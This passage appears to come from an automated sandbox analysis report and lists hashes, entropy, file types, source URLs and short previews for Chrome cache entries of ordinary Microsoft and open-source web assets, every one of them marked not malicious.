SHA-512:	9511BEF269AE0797ADDF4CD6F2FEC4AD0C4A4E06B3E5BF6138C7678A203022AC4818C7D446D154594504C947DA3061030E82472D2708149C0709B1A070FDD0E3
Malicious:	false
URL:	https://www.microsoft.com/mwf/_h/v3.54/mwf.app/fonts/mwfmdl2-v3.54.woff
Preview:	wOFF......f........D........................OS/2...X...H...`JM.FVDMX.............^.qcmap..............9cvt ...4... .......fpgm...T.......Y...gasp...D............glyf...P..U5.......head..]....2...6...Chhea..]........$$...hmtx..]..........ye'loca..^............Gmaxp..`.... ... ./..name..`....8....]..Rpost..f........ .Q.wprep..f$........x...x.c`.Pf......:....Q.B3_dHc..`e.bdb... .`@..`......./9.\|...V...)00...-.Wx...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x...mL.U.............9.x.`[...&BF@X...V.h.Z..h......`n....[..U

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	downloaded
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20033)
Category:	downloaded
Size (bytes):	20122
Entropy (8bit):	5.258931209414637
Encrypted:	false
SSDEEP:	384:PZjckOxmemwN3igs6HdfGmLmnNV5LrpfV1Nn1K4kwTiO6rg3MI/9NUmJ/aZg:uxmemg3igs69TYf/pd1Nn1uwXSg3MI/9
MD5:	31032B08BD8E72220462D3F54F8BD69A
SHA1:	871D6EF1070BD363EA390E0C8C384E47DCE7F389
SHA-256:	C212F4B505A86352AED62B24A8F16F999F821ECBE6456C7F3C8A04BC87968782
SHA-512:	4CF8763B1960D73A7E933DE7140D02E6F542EA5786FFA9A6D73F7E980F35308E5E69456A6AC3CB3BC0AE93880C1788147CFE5EB51EF7AE053FF0F34CB127ACA1
Malicious:	false
URL:	https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.8/dist/umd/popper.min.js
Preview:	/*. @popperjs/core v2.11.8 - MIT License. /..!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).Popper={})}(this,(function(e){"use strict";function t(e){if(null==e)return window;if("[object Window]"!==e.toString()){var t=e.ownerDocument;return t&&t.defaultView\|\|window}return e}function n(e){return e instanceof t(e).Element\|\|e instanceof Element}function r(e){return e instanceof t(e).HTMLElement\|\|e instanceof HTMLElement}function o(e){return"undefined"!=typeof ShadowRoot&&(e instanceof t(e).ShadowRoot\|\|e instanceof ShadowRoot)}var i=Math.max,a=Math.min,s=Math.round;function f(){var e=navigator.userAgentData;return null!=e&&e.brands&&Array.isArray(e.brands)?e.brands.map((function(e){return e.brand+"/"+e.version})).join(" "):navigator.userAgent}function c(){return!/^((?!chrome\|android).)safari/i.test(f())}function p(e,o,i){void 0===o&&(o=!1),

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	downloaded
Size (bytes):	35168
Entropy (8bit):	7.99275807202193
Encrypted:	true
SSDEEP:	768:FlTfWbX2KT+Hid0L7lumndasuVyeLtCR4sqvrdYnN6UcepZtf/r6:LgbT+Hid0TFbeLtUGvrdCNqepbHr6
MD5:	D3B6AE9986DF244AB03412CC700335D0
SHA1:	BAAA1F9899178938F3881F09B18265E47DA806E3
SHA-256:	CA50059111D30C2E212C90805792EB543548AEF0D4941E886A778E3DCE0B9066
SHA-512:	755C57FBC9BECE435A477F76C5E8198CA8942C23BE667ACAB83A00E5CD4F54075B10AA07C7FDC10C38FC3D5C0C406C9132FEB5B67BA5BCCC57EF796054A84E7C
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........:..z.>.y..u.....N...^..S.......z~@..;...n...K........x..A]....F.8X&Em..P.s.....a.g.\|.d......._..C`.xQ...\..'...QP....?.R.{?....\|.>........E4.GRz...z.k.z.}....h..>.{[E.:.....Pu. ..e6_.o.p*.w...>...:...o.k~...~..&E._..}}.}%[. ..#......z.5M.b.....z..k.H.4...l..D.o...z..M.+../..`....?y.J4.=....u.....Z.....E.d.....{0H^...8.....9..h......d..6j......../..z..V<.`.F.xm.y..yt.J....

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	557
Entropy (8bit):	5.017920631493034
Encrypted:	false
SSDEEP:	12:DEARGUGLqcidEEblemSFxEARuWGBUGLqcSWGBdEEbleeESFZ:D1Jcsl21uWHcSWilv
MD5:	A722775809D2312F435036DEF15BCD62
SHA1:	2C6CF2D7ED0D1810B6C96269A4509071575E5771
SHA-256:	4DF68C42ED06B94BC6C7655FFA3F84487DCF88F2452B8BF43C217427E36E31A2
SHA-512:	3A4325C787C32BB7373B73CF419E94200167AA7CF2E689E4E1F8D46C8D9DE7607A4EAA3A346F25C3711723A30C678DE61F8813EBF81EEB66EA536968825F6B43
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/back-to-top-button/v1/back-to-top-button/clientlibs/sites.min.ACSHASHa722775809d2312f435036def15bcd62.css
Preview:	@media screen and (max-width:540px){.sticky.back-to-top.stuck{position:static}.}.@media screen and (min-width:540px){.sticky.back-to-top.pageHasChatContainer{bottom:32px !important;left:12px}.}.div.backToTopEditView[data-mount='back-to-top']{opacity:1 !important}.@media screen and (max-width:540px){.fixed-sticky.fixed-back-to-top.stuck{position:static}.}.@media screen and (min-width:540px){.fixed-sticky.fixed-back-to-top.pageHasChatContainer{bottom:32px !important;left:12px}.}.div.backToTopEditView[data-mount='fixed-back-to-top']{opacity:1 !important}

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	178210
Entropy (8bit):	4.601401761948209
Encrypted:	false
SSDEEP:	3072:874wxu/XXJ+KFwwr99lSMrbQccfEhfaQ3lI6OeMS1f94yIgauzRlSoSOd:8g99Ra2TiyIulSc
MD5:	3A5CD0345C673526EC981330ACE635A2
SHA1:	B9E2A1601AAF202CB7444477817C6F578F792409
SHA-256:	5734E8FA0FBC18FDEFEF86ED0C0BEE25ECC2E28CD7DFC486902734549B630A24
SHA-512:	E703FE3670ED29EC6B0C7B3D584C4B466E7808BB50C6049960819E2549C53EE4072087F48D1A6CE515BB1696319E4F641E0B2DD815D717EA601D43CA24472BF9
Malicious:	false
Preview:	// Knockout JavaScript library v2.2.1.// (c) Steven Sanderson - http://knockoutjs.com/.// License: MIT (http://www.opensource.org/licenses/mit-license.php)..(function(){.var DEBUG=true;.(function(window,document,navigator,jQuery,undefined){.!function(factory) {. // Support three module loading scenarios. if (typeof require === 'function' && typeof exports === 'object' && typeof module === 'object') {. // [1] CommonJS/Node.js. var target = module['exports'] \|\| exports; // module.exports is for Node.js. factory(target);. } else if (typeof define === 'function' && define['amd']) {. // [2] AMD anonymous module. define(['exports'], factory);. } else {. // [3] No module loader (plain <script> tag) - put directly in global namespace. factory(window['ko'] = {});. }.}(function(koExports){.// Internally, all KO objects are attached to koExports (even the non-exported ones whose names will be minified by the closure compiler)..// In

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwmkq70ZMuv6sRIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	126
Entropy (8bit):	4.698100458149446
Encrypted:	false
SSDEEP:	3:agWHNApRBEBc2LGRFf7BcpcLItjNNN3Y67VMGbLGffDtMpMYMhen:QGULk7BcpcLItxNbmGeXpsZMI
MD5:	846036D371B8AAD220017D0AF9B56292
SHA1:	A43749483B26D03DA33E2AF19D4060BD185F105B
SHA-256:	A029E906A61B4FA234286EA21A804490C1612439C10E4EBA0334060F5B05F401
SHA-512:	72EEE6B7EA313F0545A27BAE7A97012D9EADE0A17D960F035126AD5425263B84E9DB477EBB078CC9C26380A72541DD6A3DE6468133DE248B4AF3FAD97699F21E
Malicious:	false
Preview:	'use strict';$(document).ready(function(){$(".print .print-btn").each((b,a)=>{$(a).on("click",function(){window.print()})})});

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1998)
Category:	dropped
Size (bytes):	530473
Entropy (8bit):	5.1558754449004525
Encrypted:	false
SSDEEP:	12288:cJpYYYb5T2ZggigVl1e/zXJ5lbgutNPzedZTyatWYLe8dZshIw:cJpYb5T2Zggigv1e/zXJLbgunzedZTyT
MD5:	13ABF4CF4F8384D04A599349524DBBAD
SHA1:	BD1EE95DB4A6E7A1EE1937F47AD7C5B6D7633465
SHA-256:	3E7CE05C8874B9F3628300101F40878DF98F23A09CD4ECC9C9E5CC8067D9068A
SHA-512:	4FCA93D865844FFF1A452B343F75ED786111F1E508505DD841F954159A42E5B9CB587FDC8ADEEA431A14CD042FC4CF16305416CE4CA0C1E9D5E66803C2BD03A7
Malicious:	false
Preview:	./!. MWF (Moray) Extensions v2.15.1. * Copyright (c) Microsoft Corporation. All rights reserved.. * Copyright 2011-2022 The Bootstrap Authors and Twitter, Inc.. * Copyright .2022 W3C. (MIT, ERCIM, Keio, Beihang).. */..(function (global, factory) {..typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :..typeof define === 'function' && define.amd ? define(['exports'], factory) :..(global = typeof globalThis !== 'undefined' ? globalThis : global \|\| self, factory(global.mwf = {}));.})(this, (function (exports) { 'use strict';...var commonjsGlobal = typeof globalThis !== 'undefined' ? globalThis : typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {};...var check = function (it) {.. return it && it.Math == Math && it;..};...// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028..var global$a =.. // eslint-disable-next-line es/no-global-this -- safe.. check(typeof globalTh

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (889)
Category:	downloaded
Size (bytes):	92962
Entropy (8bit):	5.482012211093105
Encrypted:	false
SSDEEP:	1536:wB4vGoYlmQr+IDv1Ty/6RsSz5TGF/46nNUgDbC03vu9FnHKDfa6Z/VUhdIKq6Tjv:wqxNrNG9FnHKD/oIKq6Tjv
MD5:	35986A813756F39AB6B922979FFEDB03
SHA1:	C8E2213BBAFAF535DA9C6676F3DBA43449E4D15A
SHA-256:	E2D92BDAAD925C6D355331A338384EE3FF82492352975DD4EFDA791AEF4AB3F5
SHA-512:	289F1C432E73F611D54EB1130013174174222A0C5EEF8E2464C5FD51EE33DC702326EEECA80B2AAE213DB2FCCB149297FC37CC9A0B6CF6E928A66BC27843F930
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-jquery.min.ACSHASH35986a813756f39ab6b922979ffedb03.js
Preview:	/. jQuery JavaScript Library v3.5.1. https://jquery.com/.. Includes Sizzle.js. https://sizzlejs.com/.. Copyright JS Foundation and other contributors. Released under the MIT license. https://jquery.org/license.. Date: 2020-05-04T22:49Z. Sizzle CSS Selector Engine v2.3.5. https://sizzlejs.com/.. Copyright JS Foundation and other contributors. Released under the MIT license. https://js.foundation/.. Date: 2020-03-14./.'use strict';(function(H,Sa){"object"===typeof module&&"object"===typeof module.exports?module.exports=H.document?Sa(H,!0):function(Ta){if(!Ta.document)throw Error("jQuery requires a window with a document");return Sa(Ta)}:Sa(H)})("undefined"!==typeof window?window:this,function(H,Sa){function Ta(a,b,c){c=c\|\|M;var d,f=c.createElement("script");f.text=a;if(b)for(d in Kc)(a=b[d]\|\|b.getAttribute&&b.getAttribute(d))&&f.setAttribute(d,a);c.head.appendChild(f).parentNode.removeChild(f)}function Ia(a){return null==.a?a+"":"object"===typeof a\|\|"function"===typeof a?db[Ob.call(a)]

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (309), with no line terminators
Category:	downloaded
Size (bytes):	309
Entropy (8bit):	4.971196656935236
Encrypted:	false
SSDEEP:	6:QuVtCiR2cIT53AM+64uT7nadCkq9KwhA6ONHSInadLb1wnzjCY1ee:jVtCyB4w1cWdYpAfVSVdLa8e
MD5:	D7106DB242C2B41F88A1B02418BEC7E2
SHA1:	7A445118F0B5712744AA4AED6889B28C1E7779F7
SHA-256:	044527A735B287BD84D2AE6D2D3B89C85B52C9750BB07E5AEF19FB8F28F0442B
SHA-512:	C493FBD6926006108E56E23BB204BFE59A7364ED6D2409B5B258D9EA6C060259E13A7E7A22021607F6EDD55EEA52C75DFE7FCF18BB76D6E539FBD763BF399185
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/dynamicclientsidelibs/handlerscripts/v1.min.ACSHASHd7106db242c2b41f88a1b02418bec7e2.js
Preview:	'use strict';var DynamicClientSideScriptHandler=function(){return{fetchScriptLink:function(b){var a=(a=document.querySelector('div[data-identifier\x3d"'+b+'"]'))?a.getAttribute("data-content"):null;null===a&&(a=(b=document.querySelector('meta[name\x3d"'+b+'"]'))?b.getAttribute("content"):null);return a}}}();

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	dropped
Size (bytes):	142367
Entropy (8bit):	5.430597817875451
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGK:IgD1g/Mq5L9EveUynbBwsIccp
MD5:	CCAA31FD031C4C856EB7B986FD9F447B
SHA1:	0A809EABCDB95FA04DE5F8409B3BC994ED65CBD1
SHA-256:	3D40B4129B8B4C284908636AE46D72EA053F286FB5FE45DB78351B5B2CFC1EB9
SHA-512:	4B5B2271DB5F640FEBF13A7C0BDBD630C73530000F1593046D090585D1752E239D894614E23E801BE4C6A379406B6EF521423FA27C3865C3CD4ABB0A64823780
Malicious:	false
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (584)
Category:	dropped
Size (bytes):	6798
Entropy (8bit):	5.383941368080596
Encrypted:	false
SSDEEP:	192:2+ocdo4VYgB9G/0y/qhNJ5k4iflBDHndCjOGGWr:2+ocdo4B7G/0yyNSflhndCjOGGA
MD5:	1DABD5CC3F7B68C178B59EA74DC62947
SHA1:	B8DF9D8FD267B8B74325667DC97278CCC90A1464
SHA-256:	E49EFB0A75AF4995902362EA679A0FC4EB120A881A090CB8424D5CBD183436A2
SHA-512:	8C26E45CA37AC5DCCCC0C7BBCA92E0E8E11FB807A6D9A6916D5A0CC1CF198A7942DD5583C31ACBD1A11DDE004C252806D205E9CFDA7F494A6F7D5BBFA42920E4
Malicious:	false
Preview:	'use strict';(()=>{function m(f){var e=G[f];if(void 0!==e)return e.exports;e=G[f]={exports:{}};return I[f](e,e.exports,m),e.exports}var I={1623:()=>{$(function(){function f(){-1!==document.cookie.indexOf("".concat("Cascade.AuthSSO","\x3d"))&&(document.cookie="".concat("Cascade.AuthSSO","\x3d; expires\x3dThu, 01 Jan 1970 00:00:00 UTC;"))}function e(){var a=function(){var d=document.cookie.match(/(^\|;\s)(Cascade.AuthSSO)=([^;])/);return d?(d=parseInt(decodeURIComponent(d[3])),!isNaN(d)&&d>n.DefaultAttempted?.n.SharedStateAttempted:n.DefaultAttempted):n.NotAttempted}(),c=!(!window.msauthRpsShare\|\|b.accountConstraint===w.AAD);if(a===n.NotAttempted\|\|c&&a!==n.SharedStateAttempted)!function(d){$("#".concat("cascadeauthsso")).remove();var g=document.createElement("iframe");g.src=d;g.setAttribute("width","0");g.setAttribute("height","0");g.setAttribute("border","0");g.setAttribute("frameborder","0");g.setAttribute("style","display: none");g.id="cascadeauthsso";document.body.appendChild(g)}(""

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
